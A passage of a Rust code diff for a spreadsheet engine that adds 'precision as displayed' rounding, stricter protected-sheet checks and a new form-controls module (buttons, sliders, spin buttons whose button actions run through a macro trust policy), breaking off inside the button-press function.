        let quoted_gt = r#"<table><tr><td style='mso-number-format:"\[>=1000\]0"' x:num="1500">1500</td></tr></table>"#;
-        assert_eq!(table_cells(quoted_gt, 1, 1), vec![vec![HtmlCell { text: "1500".into(), num: Some(1500.0) }]]);
+        assert_eq!(table_cells(quoted_gt, 1, 1), vec![vec![HtmlCell { text: "1500".into(), num: Some(1500.0), ..HtmlCell::default() }]]);
    }

    #[test]
@@ -434,7 +436,7 @@ mod tests {
        assert!(cells <= MAX_HTML_CELLS, "{cells} cells");
        assert!(rows.iter().all(|r| r.len() <= MAX_SPAN));
        assert_eq!(rows[0].len(), MAX_SPAN, "the first span fills the sheet's width");
-        assert_eq!(rows[0][0], HtmlCell { text: "1".into(), num: Some(1.0) });
+        assert_eq!(rows[0][0], HtmlCell { text: "1".into(), num: Some(1.0), ..HtmlCell::default() });

        // Bounded by the pasted text's shape, the same markup yields just that shape.
        let rows = table_cells(&html, 3, 2);
@@ -2,6 +2,7 @@
 //! `data.sortAscending`) plus primitive editing commands (`cell.set`, `selection.set`).

 pub mod analysis;
+pub mod controls;
 pub mod data;
 pub mod draw;
 pub mod edit;
@@ -165,6 +166,7 @@ pub fn command_specs() -> &'static [CommandSpec] {
        v.extend(format::specs());
        v.extend(sheet::specs());
        v.extend(insert::specs());
+        v.extend(controls::specs());
        v.extend(equation::specs());
        v.extend(data::specs());
        v.extend(formulas::specs());
@@ -404,7 +406,7 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
        edits: Vec::new(),
    };
    let r = f(&mut ctx)?;
-    let Ctx { mut wb, changed, structural, mut fit_rows, protection_checked, edits, .. } = ctx;
+    let Ctx { mut wb, mut changed, structural, mut fit_rows, protection_checked, edits, .. } = ctx;
    // Equations whose source changed (or that arrived without a layout, as from a paste) are
    // laid out here, so painting only ever reads the cache.
    wb.refresh_equations();
@@ -414,6 +416,9 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
    if !structural {
        check_arrays(&d.wb, &wb)?;
    }
+    if wb.calc.precision_as_displayed {
+        round_edited_as_displayed(&d.wb, &mut wb, &mut changed, structural);
+    }
    if let Some(log) = d.touched.as_mut() {
        for (si, c) in changed.iter().take(TOUCH_LOG_LIMIT.saturating_sub(log.len())) {
            if let Some(sh) = wb.sheet(*si) {
@@ -435,6 +440,7 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
    } else if !changed.is_empty() {
        d.calc.cells_changed(&mut wb, &changed);
    }
+    controls::sync_linked_values(&mut wb);
    if let Some(t0) = t0 {
        eprintln!("commit: + recalc {:?}", since(t0));
    }
@@ -451,6 +457,117 @@ pub(crate) fn commit<R>(d: &mut DocState, f: impl FnOnce(&mut Ctx) -> Result<R>)
    Ok(r)
 }

+/// "Set precision as displayed": a number typed, pasted or reformatted is stored as its format
+/// shows it (Excel rounds a constant when it is entered and when its cell's format changes,
+/// observed through COM). Only cells the edit touched are visited, so this costs nothing for
+/// the rest of the workbook; formula cells whose format changed are recalculated, and the
+/// recalculation rounds them. A structural edit recalculates everything anyway, so it only
+/// rounds its constants (a sheet the edit created, for one, holds written numbers).
+fn round_edited_as_displayed(old: &Workbook, wb: &mut Workbook, changed: &mut Vec<gridcraft_calc::Key>, structural: bool) {
+    let mut prec = gridcraft_calc::DisplayedPrecision::new();
+    for si in 0..wb.sheets.len() {
+        let Some(after) = wb.sheets.get(si) else { continue };
+        // Sheets are matched by name. A sheet the edit created has no earlier version, so all of
+        // its cells are new.
+        let before = old.sheet_index(&after.name).and_then(|i| old.sheets.get(i));
+        if before.is_some_and(|b| std::sync::Arc::ptr_eq(b, after)) {
+            continue;
+        }
+        let diffs: Vec<CellRef> = match before {
+            Some(before) => before.cells.diff(&after.cells),
+            None => after.cells.iter().map(|(c, _)| c).collect(),
+        };
+        let mut anchors = std::collections::HashSet::new();
+        for &c in &diffs {
+            if !structural && after.cell(c).is_some_and(|cell| cell.formula.is_some()) {
+                changed.push((si, c));
+                anchors.insert(c);
+            }
+        }
+        let updates = displayed_updates(&mut prec, wb, si, diffs.iter().copied());
+        // A spill destination is no stored cell: reformatting it (or its row or column) leaves
+        // no change in the store, so its anchor is recalculated to round the new element.
+        if let (Some(before), false) = (before, structural) {
+            for (&anchor, range) in &after.spill_ranges {
+                if !anchors.contains(&anchor)
+                    && (diffs.iter().any(|d| range.contains(*d))
+                        || line_styles_differ(&before.rows, &after.rows, range.start.row, range.end.row)
+                        || line_styles_differ(&before.cols, &after.cols, range.start.col, range.end.col))
+                {
+                    changed.push((si, anchor));
+                }
+            }
+        }
+        if updates.is_empty() {
+            continue;
+        }
+        let Some(sh) = wb.sheet_mut(si) else { continue };
+        for (c, r) in updates {
+            if let Some(cell) = sh.cells.get_mut(c) {
+                cell.value = gridcraft_core::Value::Number(r);
+                if !structural {
+                    changed.push((si, c));
+                }
+            }
+        }
+    }
+}
+
+/// Whether any row or column style in `lo..=hi` differs between two sheets' line maps.
+fn line_styles_differ(
+    before: &std::collections::BTreeMap<u32, gridcraft_model::LineInfo>,
+    after: &std::collections::BTreeMap<u32, gridcraft_model::LineInfo>,
+    lo: u32,
+    hi: u32,
+) -> bool {
+    let style = |m: &std::collections::BTreeMap<u32, gridcraft_model::LineInfo>, k: u32| m.get(&k).and_then(|l| l.style);
+    after.range(lo..=hi).any(|(k, l)| l.style != style(before, *k)) || before.range(lo..=hi).any(|(k, l)| l.style != style(after, *k))
+}
+
+/// Turning "Set precision as displayed" on rounds every number constant in the workbook to its
+/// format, permanently (Excel warns "Data will permanently lose accuracy"). Formulas are rounded
+/// by the recalculation that follows.
+pub(crate) fn round_all_constants_as_displayed(wb: &mut Workbook) {
+    let mut prec = gridcraft_calc::DisplayedPrecision::new();
+    for si in 0..wb.sheets.len() {
+        let Some(sh) = wb.sheets.get(si) else { continue };
+        let updates = displayed_updates(&mut prec, wb, si, sh.cells.iter().map(|(c, _)| c));
+        if updates.is_empty() {
+            continue;
+        }
+        let Some(sh) = wb.sheet_mut(si) else { continue };
+        for (c, r) in updates {
+            if let Some(cell) = sh.cells.get_mut(c) {
+                cell.value = gridcraft_core::Value::Number(r);
+            }
+        }
+    }
+}
+
+/// The constants among `cells` on sheet `si` whose value the option changes, with their rounded
+/// values. A locked constant on a protected sheet keeps its value: protection keeps its content,
+/// and rounding it by its format would change the content that the sheet protects.
+fn displayed_updates(
+    prec: &mut gridcraft_calc::DisplayedPrecision,
+    wb: &Workbook,
+    si: usize,
+    cells: impl Iterator<Item = CellRef>,
+) -> Vec<(CellRef, f64)> {
+    let Some(sh) = wb.sheet(si) else { return Vec::new() };
+    cells
+        .filter(|&c| !(sh.is_protected() && wb.styles.get(sh.style_id(c)).protection.locked))
+        .filter_map(|c| {
+            let cell = sh.cell(c)?;
+            match cell.value {
+                gridcraft_core::Value::Number(n) if cell.formula.is_none() => {
+                    let r = prec.round(wb, si, c, n);
+                    (r.to_bits() != n.to_bits()).then_some((c, r))
+                }
+                _ => None,
+            }
+        })
+        .collect()
+}
 /// The most cells a dry run's touch log keeps; a footprint whose log is full may be missing writes
 /// that kept a cell's value, so a shift is refused then.
 pub(crate) const TOUCH_LOG_LIMIT: usize = 1_000_000;
@@ -459,8 +576,11 @@ pub(crate) const TOUCH_LOG_LIMIT: usize = 1_000_000;
 pub(crate) const PROTECTED: &str = "The cell or chart you're trying to change is on a protected sheet.";

 /// Refuses an edit that changed what a locked cell on a protected sheet holds (its value or
-/// formula), whichever command made it. Sheets are matched by name, so moving, renaming or
-/// deleting a sheet isn't an edit of its cells.
+/// formula), or that unlocked it, whichever command made it. Sheets are matched by name, so
+/// moving, renaming or deleting a sheet isn't an edit of its cells. A sort or duplicate removal
+/// that moves an unlocked cell with equal content onto a locked one changes no content but would
+/// leave the cell editable, so the effective lock (row and column formats included) is compared
+/// as well.
 fn check_protection(old: &Workbook, new: &Workbook, unlocked: &[(String, String)]) -> Result<()> {
    for sh in &old.sheets {
        if !sh.is_protected() {
@@ -471,7 +591,8 @@ fn check_protection(old: &Workbook, new: &Workbook, unlocked: &[(String, String)
            continue;
        }
        for c in sh.cells.diff(&after.cells) {
-            if !same_content(sh.cell(c), after.cell(c))
+            let unlocked_now = !new.styles.get(after.style_id(c)).protection.locked;
+            if (unlocked_now || !same_content(sh.cell(c), after.cell(c)))
                && old.styles.get(sh.style_id(c)).protection.locked
                && let Some(m) = locked_cell_error(sh, c, unlocked)
            {
@@ -499,10 +620,14 @@ pub(crate) fn refuse_unless_allowed(s: &Session, sheet: usize, what: &str, pick:
 pub(crate) fn locked_cell_error(sh: &gridcraft_model::Sheet, c: CellRef, unlocked: &[(String, String)]) -> Option<String> {
    let mut needs_password = None;
    for r in sh.edit_ranges.iter().filter(|r| r.contains(c)) {
-        if r.password.is_none() || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) {
+        // A range limited to Windows users or groups (a security descriptor) can't be checked
+        // here, so without a password it stays locked rather than opening to every editor.
+        if (r.password.is_none() && r.security_descriptor.is_none()) || unlocked.iter().any(|(s, t)| *s == sh.name && *t == r.title) {
            return None;
        }
-        needs_password.get_or_insert(r.title.as_str());
+        if r.password.is_some() {
+            needs_password.get_or_insert(r.title.as_str());
+        }
    }
    Some(match needs_password {
        Some(t) => format!("The range \"{t}\" needs its password before it can be changed (Review › Allow Edit Ranges)."),
@@ -0,0 +1,711 @@
+//! Form controls (Insert › Controls): buttons that run a macro or a command, and sliders and spin
+//! buttons that hold a whole number from 0 to 30000 and write it to a linked cell.
+//!
+//! A slider or spin button's value lives on the control and in its linked cell. Setting it goes
+//! through `cell.set`, so the cell's dependents recalculate and Undo takes both back as one step;
+//! editing the linked cell moves the control (see [`sync_linked_values`]). Pressing a button runs
+//! its action through the macro policy with the document's trust, so a button from a file someone
+//! else made asks before it runs anything.
+
+use gridcraft_core::CellRef;
+use gridcraft_model::{
+    Anchor, AnchorMode, CONTROL_MAX, ControlAction, ControlKind, FormControl, MAX_MACRO_NAME, MacroInput, ObjKind, Sheet, Workbook,
+};
+use serde_json::{Value as Json, json};
+
+use super::{
+    CommandSpec, EngineError, PROTECTED, Result, Session, anchor_mode_param, bad, bool_param, cell_param, cmd, edit, f64_param, find_command,
+    has_doc, split_sheet, stash, str_param, u32_param,
+};
+use crate::macros::policy::{Policy, macro_policy};
+
+pub fn specs() -> Vec<CommandSpec> {
+    vec![
+        cmd!(
+            "insert.button",
+            "Button",
+            ["Insert", "Controls"],
+            None,
+            "{at?: \"B2\" (or cell), dx?, dy?, width?, height?, text?, macro?: name, input?: \"selection\" | \"B2:D9\", output?: \"F2\", command?: id, params?: {..}} places a button; pressing it runs the macro or the command → {control: id}",
+            has_doc,
+            insert_button
+        ),
+        cmd!(
+            "insert.slider",
+            "Slider",
+            ["Insert", "Controls"],
+            None,
+            "{at?: \"B2\" (or cell), dx?, dy?, width?, height?, link?: \"$B$1\" | \"Sheet2!$B$1\", min?: 0, max?: 100, step?: 1, page?: 10, value?, horizontal?: true} whole numbers, 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min, page ≥ step → {control: id}",
+            has_doc,
+            |s, p| insert_number_control(s, p, ControlKind::Slider)
+        ),
+        cmd!(
+            "insert.spinButton",
+            "Spin Button",
+            ["Insert", "Controls"],
+            None,
+            "{at?: \"B2\" (or cell), dx?, dy?, width?, height?, link?: \"$B$1\", min?: 0, max?: 100, step?: 1, value?} whole numbers, 0 ≤ min < max ≤ 30000, 1 ≤ step ≤ max − min → {control: id}",
+            has_doc,
+            |s, p| insert_number_control(s, p, ControlKind::Spin)
+        ),
+        cmd!(
+            "control.format",
+            "Format Control",
+            [],
+            None,
+            "{id, text?, name?, link?: \"$B$1\" | \"\" (no link), min?, max?, step?, page?, value?, horizontal?, print?, locked?} → the control (as control.list)",
+            has_doc,
+            format
+        ),
+        cmd!(
+            "control.assign",
+            "Assign Action",
+            [],
+            None,
+            "{id, macro?: name, input?: \"selection\" | \"B2:D9\", output?: \"F2\" | command?: id, params?: {..} | clear?: true} sets what a button runs → the control",
+            has_doc,
+            assign
+        ),
+        cmd!(
+            "control.setValue",
+            "Change Control Value",
+            [],
+            None,
+            "{id, value} clamps the value to min..max, snaps it to the step, and writes it to the linked cell → {value}",
+            has_doc,
+            set_value
+        ),
+        cmd!(
+            "control.press",
+            "Press Button",
+            [],
+            None,
+            "{id, approve?: bool, onConflict?, overwrite?} runs a button's macro or command (through the macro policy, with the workbook's trust; a workbook from a file asks first) → what the macro or command returned",
+            has_doc,
+            press
+        ),
+        cmd!(query "control.list", "Form Controls", [], None, "{} → the active sheet's controls: [{id, kind, name, text, at, link?, value, min, max, step, page, horizontal, action?}]", has_doc, list),
+    ]
+}
+
+/// The longest caption or name a control takes.
+const MAX_TEXT: usize = 1_024;
+
+fn control_json(c: &FormControl) -> Json {
+    let mut o = json!({
+        "id": c.id,
+        "kind": match c.kind { ControlKind::Button => "button", ControlKind::Slider => "slider", ControlKind::Spin => "spinButton" },
+        "name": c.display_name(),
+        "at": c.anchor.cell.a1(),
+        "width": c.anchor.width,
+        "height": c.anchor.height,
+        "print": c.print,
+        "locked": c.locked,
+    });
+    if c.kind == ControlKind::Button {
+        o["text"] = json!(c.text);
+        if let Some(a) = &c.action {
+            o["action"] = serde_json::to_value(a).unwrap_or(Json::Null);
+        }
+    } else {
+        o["value"] = json!(c.value);
+        o["min"] = json!(c.min);
+        o["max"] = json!(c.max);
+        o["step"] = json!(c.step);
+        if c.kind == ControlKind::Slider {
+            o["page"] = json!(c.page);
+            o["horizontal"] = json!(c.horizontal);
+        }
+    }
+    if let Some(l) = &c.link {
+        o["link"] = json!(l);
+    }
+    o
+}
+
+fn list(s: &mut Session, _: &Json) -> Result<Json> {
+    let sh = s.doc()?.wb.active().ok_or(EngineError::NoDocument)?;
+    Ok(Json::Array(sh.controls.iter().map(control_json).collect()))
+}
+
+/// A whole number from 0 to 30000 named `key`, if given. Numbers in text (`"12"`) count; anything
+/// else is refused with a message that names the parameter.
+fn whole(cmd: &str, p: &Json, key: &str) -> Result<Option<u32>> {
+    let v = match p.get(key) {
+        None | Some(Json::Null) => return Ok(None),
+        Some(Json::Number(n)) => n.as_f64(),
+        Some(Json::String(t)) => t.trim().parse::<f64>().ok(),
+        Some(_) => None,
+    };
+    match v {
+        Some(x) if x.is_finite() && x.fract() == 0.0 && (0.0..=CONTROL_MAX as f64).contains(&x) => Ok(Some(x as u32)),
+        _ => Err(bad(cmd, format!("`{key}` must be a whole number from 0 to {CONTROL_MAX}"))),
+    }
+}
+
+fn text_param(cmd: &str, p: &Json, key: &str) -> Result<Option<String>> {
+    match p.get(key) {
+        None | Some(Json::Null) => Ok(None),
+        Some(Json::String(t)) if t.chars().count() <= MAX_TEXT => Ok(Some(t.clone())),
+        Some(Json::String(_)) => Err(bad(cmd, format!("`{key}` is longer than {MAX_TEXT} characters"))),
+        Some(_) => Err(bad(cmd, format!("`{key}` must be text"))),
+    }
+}
+
+/// The cell a link names, from the control's sheet `host`: `(sheet index, cell)`. `None` when it
+/// doesn't name one cell of an existing sheet (a link into a deleted sheet reads `#REF!`).
+pub fn link_target(wb: &Workbook, host: usize, link: &str) -> Option<(usize, CellRef)> {
+    let text = link.trim().trim_start_matches('=');
+    let (sheet, body) = split_sheet(text);
+    let si = match sheet {
+        Some(n) => wb.sheet_index(&n)?,
+        None => host,
+    };
+    wb.sheet(si)?;
+    Some((si, CellRef::parse(body.trim())?))
+}
+
+/// A link parameter in its stored form: `$B$2` on the host sheet, `'My Sheet'!$B$2` elsewhere.
+/// An empty text removes the link.
+fn link_param(cmd: &str, wb: &Workbook, host: usize, p: &Json) -> Result<Option<Option<String>>> {
+    let text = match p.get("link") {
+        None => return Ok(None),
+        Some(Json::Null) => return Ok(Some(None)),
+        Some(Json::String(t)) => t.trim(),
+        Some(_) => return Err(bad(cmd, "`link` must be a cell reference such as $B$1")),
+    };
+    if text.is_empty() {
+        return Ok(Some(None));
+    }
+    let (si, c) = link_target(wb, host, text)
+        .ok_or_else(|| bad(cmd, format!("`{text}` isn't a cell of this workbook; the link must be one cell, such as $B$1")))?;
+    let abs = format!("${}${}", gridcraft_core::col_to_letters(c.col), c.row as u64 + 1);
+    Ok(Some(Some(if si == host {
+        abs
+    } else {
+        let name = wb.sheet(si).map(|sh| sh.name.clone()).unwrap_or_default();
+        format!("{}!{abs}", gridcraft_formula::quote_sheet(&name))
+    })))
+}
+
+/// The anchor of a new control: `at` or `cell` (default the active cell), with its size.
+fn new_anchor(s: &Session, p: &Json, size: (f32, f32)) -> Result<Anchor> {
+    let cell = match cell_param(s, p, "at")? {
+        Some(c) => c,
+        None => cell_param(s, p, "cell")?.unwrap_or(s.doc()?.selection.active),
+    };
+    let dim = |k: &str, v: f32| f64_param(p, k).filter(|x| x.is_finite()).map_or(v, |x| x.clamp(4.0, 10_000.0) as f32);
+    let off = |k: &str| f64_param(p, k).filter(|x| x.is_finite()).map_or(0.0, |x| x.clamp(-10_000.0, 10_000.0) as f32);
+    Ok(Anchor {
+        cell,
+        dx: off("dx"),
+        dy: off("dy"),
+        width: dim("width", size.0),
+        height: dim("height", size.1),
+        mode: anchor_mode_param(p).unwrap_or(AnchorMode::MoveOnly),
+    })
+}
+
+fn insert_button(s: &mut Session, p: &Json) -> Result<Json> {
+    const CMD: &str = "insert.button";
+    let anchor = new_anchor(s, p, (96.0, 28.0))?;
+    let action = action_param(s, CMD, p)?;
+    let d = s.doc()?;
+    let id = d.wb.next_object_id();
+    let text = text_param(CMD, p, "text")?.unwrap_or_else(|| format!("Button {id}"));
+    let sheet = d.wb.active_sheet();
+    let control = FormControl { id, kind: ControlKind::Button, anchor, text, action, ..FormControl::default() };
+    edit(s, |cx| {
+        cx.sheet_mut(sheet)?.controls.push(control);
+        Ok(json!({"control": id}))
+    })
+}
+
+fn insert_number_control(s: &mut Session, p: &Json, kind: ControlKind) -> Result<Json> {
+    let cmd = if kind == ControlKind::Slider { "insert.slider" } else { "insert.spinButton" };
+    let horizontal = bool_param(p, "horizontal").unwrap_or(true);
+    let size = match kind {
+        ControlKind::Slider if horizontal => (144.0, 18.0),
+        ControlKind::Slider => (18.0, 144.0),
+        _ => (18.0, 36.0),
+    };
+    let anchor = new_anchor(s, p, size)?;
+    let d = s.doc()?;
+    let sheet = d.wb.active_sheet();
+    let id = d.wb.next_object_id();
+    let mut c = FormControl { id, kind, anchor, horizontal, ..FormControl::default() };
+    numbers(cmd, p, &mut c)?;
+    if let Some(link) = link_param(cmd, &d.wb, sheet, p)? {
+        c.link = link;
+    }
+    let given = whole(cmd, p, "value")?;
+    // Without a value, a control starts at the number its linked cell holds (or its minimum).
+    let start = given.map(f64::from).or_else(|| linked_number(&d.wb, sheet, &c)).unwrap_or(c.min as f64);
+    c.value = c.snap(start);
+    let value = c.value;
+    let link = c.link.clone();
+    s.grouped(&format!("Insert {}", kind.label()), |s| {
+        edit(s, |cx| {
+            cx.sheet_mut(sheet)?.controls.push(c);
+            Ok(())
+        })?;
+        if given.is_some() {
+            write_link(s, sheet, link.as_deref(), value)?;
+        }
+        Ok(json!({"control": id}))
+    })
+}
+
+/// Applies `min`, `max`, `step`, `page` and `value` from `p` to `c` and checks the result.
+fn numbers(cmd: &str, p: &Json, c: &mut FormControl) -> Result<()> {
+    for (key, slot) in [("min", &mut c.min), ("max", &mut c.max), ("step", &mut c.step), ("page", &mut c.page)] {
+        if let Some(v) = whole(cmd, p, key)? {
+            *slot = v;
+        }
+    }
+    // A new slider's page follows a larger step unless it was given.
+    if p.get("page").is_none() && c.page < c.step {
+        c.page = c.step;
+    }
+    c.check_numbers().map_err(|e| bad(cmd, e))
+}
+
+/// The number the control's linked cell holds, if it holds one.
+fn linked_number(wb: &Workbook, host: usize, c: &FormControl) -> Option<f64> {
+    let (si, cell) = link_target(wb, host, c.link.as_deref()?)?;
+    wb.sheet(si)?.cell(cell)?.value.as_f64()
+}
+
+/// Writes `value` to the linked cell through `cell.set` (nothing without a link, or when the cell
+/// already shows `value`, formula or not: Format Control's OK sends the value back every time, and
+/// a write that changes nothing must not turn a formula into a constant or fail on a locked cell
+/// of a protected sheet; a real change replaces a formula with the constant, as in Excel).
+fn write_link(s: &mut Session, host: usize, link: Option<&str>, value: u32) -> Result<()> {
+    let Some(link) = link else { return Ok(()) };
+    let Some((si, cell)) = link_target(&s.doc()?.wb, host, link) else { return Ok(()) };
+    let holds = s.doc()?.wb.sheet(si).and_then(|sh| sh.cell(cell)).and_then(|c| c.value.as_f64());
+    if holds == Some(value as f64) {
+        return Ok(());
+    }
+    s.execute("cell.set", json!({"sheet": si, "cell": cell.a1(), "input": value.to_string()}))?;
+    Ok(())
+}
+
+/// The control `id` names on the active sheet: (sheet, its index in `controls`, a copy).
+fn find(s: &Session, cmd: &str, p: &Json) -> Result<(usize, usize, FormControl)> {
+    let id = u32_param(p, "id").ok_or_else(|| bad(cmd, "missing `id` (a control id from control.list)"))?;
+    let d = s.doc()?;
+    let sheet = d.wb.active_sheet();
+    let sh = d.wb.sheet(sheet).ok_or(EngineError::NoDocument)?;
+    let i = sh.controls.iter().position(|c| c.id == id).ok_or_else(|| bad(cmd, format!("there is no control {id} on this sheet")))?;
+    let c = sh.controls.get(i).cloned().ok_or_else(|| bad(cmd, "no such control"))?;
+    Ok((sheet, i, c))
+}
+
+/// Drawing objects on a protected sheet can't be changed while they are locked.
+/// For the object commands (`object.move`, `object.delete`, `object.setAnchorMode`, `arrange.*`,
+/// `arrange.align`): refuses to change form controls `ids` on `sheet` when one is locked and the
+/// sheet is protected, as `control.format` and `control.assign` do. Other kinds pass.
+pub(crate) fn check_objects_unlocked(s: &Session, sheet: usize, kind: ObjKind, ids: &[u32]) -> Result<()> {
+    if kind != ObjKind::Control {
+        return Ok(());
+    }
+    let Some(sh) = s.doc()?.wb.sheet(sheet) else { return Ok(()) };
+    if sh.is_protected() && sh.controls.iter().any(|c| c.locked && ids.contains(&c.id)) {
+        return Err(EngineError::Other(PROTECTED.into()));
+    }
+    Ok(())
+}
+
+fn check_unlocked(s: &Session, sheet: usize, c: &FormControl) -> Result<()> {
+    if c.locked && s.doc()?.wb.sheet(sheet).is_some_and(Sheet::is_protected) {
+        return Err(EngineError::Other(PROTECTED.into()));
+    }
+    Ok(())
+}
+
+fn format(s: &mut Session, p: &Json) -> Result<Json> {
+    const CMD: &str = "control.format";
+    let (sheet, i, mut c) = find(s, CMD, p)?;
+    check_unlocked(s, sheet, &c)?;
+    if let Some(t) = text_param(CMD, p, "text")? {
+        c.text = t;
+    }
+    if let Some(n) = text_param(CMD, p, "name")? {
+        c.name = n.trim().to_string();
+    }
+    for (key, slot) in [("print", &mut c.print), ("locked", &mut c.locked), ("horizontal", &mut c.horizontal)] {
+        if let Some(v) = bool_param(p, key) {
+            *slot = v;
+        }
+    }
+    let mut given = None;
+    if c.kind != ControlKind::Button {
+        for (key, slot) in [("min", &mut c.min), ("max", &mut c.max), ("step", &mut c.step), ("page", &mut c.page)] {
+            if let Some(v) = whole(CMD, p, key)? {
+                *slot = v;
+            }
+        }
+        c.check_numbers().map_err(|e| bad(CMD, e))?;
+        given = whole(CMD, p, "value")?;
+    }
+    if let Some(link) = link_param(CMD, &s.doc()?.wb, sheet, p)? {
+        c.link = link;
+    }
+    // New bounds pull the value in; a given value is snapped to them.
+    c.value = c.snap(given.map_or(c.value as f64, f64::from));
+    let number = c.kind != ControlKind::Button;
+    let write = number && (given.is_some() || p.get("min").is_some() || p.get("max").is_some() || p.get("step").is_some());
+    let (value, link) = (c.value, c.link.clone());
+    s.grouped("Format Control", |s| {
+        edit(s, |cx| {
+            if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
+                *slot = c;
+            }
+            Ok(())
+        })?;
+        if write {
+            write_link(s, sheet, link.as_deref(), value)?;
+        }
+        Ok(())
+    })?;
+    // The reply is the control as committed: a new link to a cell holding another number has
+    // moved its value there.
+    let (_, _, c) = find(s, CMD, p)?;
+    Ok(control_json(&c))
+}
+
+/// Commands a button never runs, beyond the macro policy's lists: a button has no way to show
+/// what its command would open, so a web page is refused when the action is assigned or comes in
+/// from a file. A command that turns out to open a page or a dialog when it runs is refused
+/// then, by [`press`].
+const BUTTON_DENIED: &[(&str, &str)] = &[("link.open", "buttons don't open web pages")];
+
+/// The macro policy for a button's command, with the button's own refusals first.
+fn button_policy(id: &str, params: &Json, trust: crate::Trust) -> Policy {
+    match BUTTON_DENIED.iter().find(|(d, _)| *d == id) {
+        Some((_, why)) => Policy::Deny((*why).into()),
+        None => macro_policy(id, params, trust),
+    }
+}
+
+/// Drops the UI requests a button's command queued from `queued` on, keeping messages for the
+/// person, and says why the press is refused when one would open a dialog or a web page, which
+/// buttons don't do (`name` is the button's). A cell edit the command asked for is dropped too.
+pub(crate) fn take_requests(s: &mut Session, queued: usize, name: &str) -> Option<String> {
+    use crate::UiRequest;
+    let mut blocked = None;
+    let asked: Vec<UiRequest> = s.ui_requests.drain(queued.min(s.ui_requests.len())..).collect();
+    for q in asked {
+        match q {
+            UiRequest::Dialog(d, _) => blocked = Some(format!("'{name}' would open the {d} dialog; give its command the parameters it needs.")),
+            UiRequest::OpenUrl(_) => blocked = Some(format!("'{name}' would open a web page, which buttons don't do.")),
+            UiRequest::EditCell(_) | UiRequest::InsertName(_) => {}
+            m @ UiRequest::Message(_) => s.ui_requests.push(m),
+        }
+    }
+    blocked
+}
+
+/// The stored name of the workbook's macro `name` when it exists and declares no inputs: a fixed
+/// input range would make every press fail (`macro.run` refuses inputs it doesn't take), so such
+/// an assignment is refused when it is made and dropped to the selection when a file brings one
+/// in. A macro the workbook doesn't have (yet) is not checked: the assignment is kept as given.
+fn takes_no_inputs(wb: &Workbook, name: &str) -> Option<String> {
+    crate::macros::find(wb, name).and_then(|i| wb.macros.get(i)).filter(|m| m.inputs.is_empty()).map(|m| m.name.clone())
+}
+
+/// A button action from `macro` (with `input` and `output`) or `command` (with `params`).
+fn action_param(s: &Session, cmd: &str, p: &Json) -> Result<Option<ControlAction>> {
+    if let Some(name) = str_param(p, "macro").map(str::trim).filter(|n| !n.is_empty()) {
+        if name.chars().count() > MAX_MACRO_NAME {
+            return Err(bad(cmd, "`macro` is not a macro name"));
+        }
+        let input = match str_param(p, "input").map(str::trim) {
+            None | Some("") => MacroInput::Selection,
+            Some(t) if t.eq_ignore_ascii_case("selection") => MacroInput::Selection,
+            Some(t) => {
+                let (_, body) = split_sheet(t);
+                if gridcraft_core::RangeRef::parse(body).is_none() {
+                    return Err(bad(cmd, format!("`input` must be \"selection\" or a range such as B2:D9, not `{t}`")));
+                }
+                if let Some(stored) = takes_no_inputs(&s.doc()?.wb, name) {
+                    return Err(bad(cmd, format!("macro '{stored}' takes no inputs, so `input` must be \"selection\"")));
+                }
+                MacroInput::Fixed(t.to_string())
+            }
+        };
+        let output = str_param(p, "output").map(str::trim).filter(|o| !o.is_empty()).map(str::to_string);
+        if let Some(o) = &output
+            && gridcraft_core::RangeRef::parse(split_sheet(o).1).is_none()
+        {
+            return Err(bad(cmd, format!("`output` must be a cell such as F2, not `{o}`")));
+        }
+        return Ok(Some(ControlAction::Macro { name: name.to_string(), input, output }));
+    }
+    if let Some(id) = str_param(p, "command").map(str::trim).filter(|n| !n.is_empty()) {
+        if find_command(id).is_none() {
+            return Err(bad(cmd, format!("there is no command `{id}`")));
+        }
+        let params = p.get("params").cloned().unwrap_or_else(|| json!({}));
+        if !params.is_object() {
+            return Err(bad(cmd, "`params` must be an object"));
+        }
+        let trust = s.doc()?.trust;
+        if let Policy::Deny(why) = button_policy(id, &params, trust) {
+            return Err(EngineError::Other(format!("A button can't run {id}: {why}.")));
+        }
+        return Ok(Some(ControlAction::Command { id: id.to_string(), params }));
+    }
+    Ok(None)
+}
+
+fn assign(s: &mut Session, p: &Json) -> Result<Json> {
+    const CMD: &str = "control.assign";
+    let (sheet, i, mut c) = find(s, CMD, p)?;
+    check_unlocked(s, sheet, &c)?;
+    if c.kind != ControlKind::Button {
+        return Err(bad(CMD, "only buttons run actions; a slider or spin button writes its value to its linked cell"));
+    }
+    let action = action_param(s, CMD, p)?;
+    if action.is_none() && bool_param(p, "clear") != Some(true) {
+        return Err(bad(CMD, "pass `macro` or `command` (or `clear: true` to remove the action)"));
+    }
+    c.action = action;
+    let out = control_json(&c);
+    edit(s, |cx| {
+        if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
+            *slot = c;
+        }
+        Ok(out)
+    })
+}
+
+fn set_value(s: &mut Session, p: &Json) -> Result<Json> {
+    const CMD: &str = "control.setValue";
+    let (sheet, i, c) = find(s, CMD, p)?;
+    if c.kind == ControlKind::Button {
+        return Err(bad(CMD, "a button has no value; use control.press"));
+    }
+    let v = match p.get("value") {
+        Some(Json::Number(n)) => n.as_f64(),
+        Some(Json::String(t)) => t.trim().parse::<f64>().ok(),
+        _ => None,
+    }
+    .filter(|v| v.is_finite())
+    .ok_or_else(|| bad(CMD, "`value` must be a number"))?;
+    let value = c.snap(v);
+    let label = format!("Change {}", c.kind.label());
+    s.grouped(&label, |s| {
+        if c.value != value {
+            edit(s, |cx| {
+                if let Some(slot) = cx.sheet_mut(sheet)?.controls.get_mut(i) {
+                    slot.value = value;
+                }
+                Ok(())
+            })?;
+        }
+        write_link(s, sheet, c.link.as_deref(), value)?;
+        Ok(json!({"value": value}))
+    })
+}
+
+fn press(s: &mut Session, p: &Json) -> Result<Json> {
+    const CMD: &str = "control.press";
+    let (_, _, c) = find(s, CMD, p)?;
+    if c.kind != ControlKind::Button {
+        return Err(bad(CMD, "only buttons can be pressed; use control.setValue for a slider or spin button"));
+    }
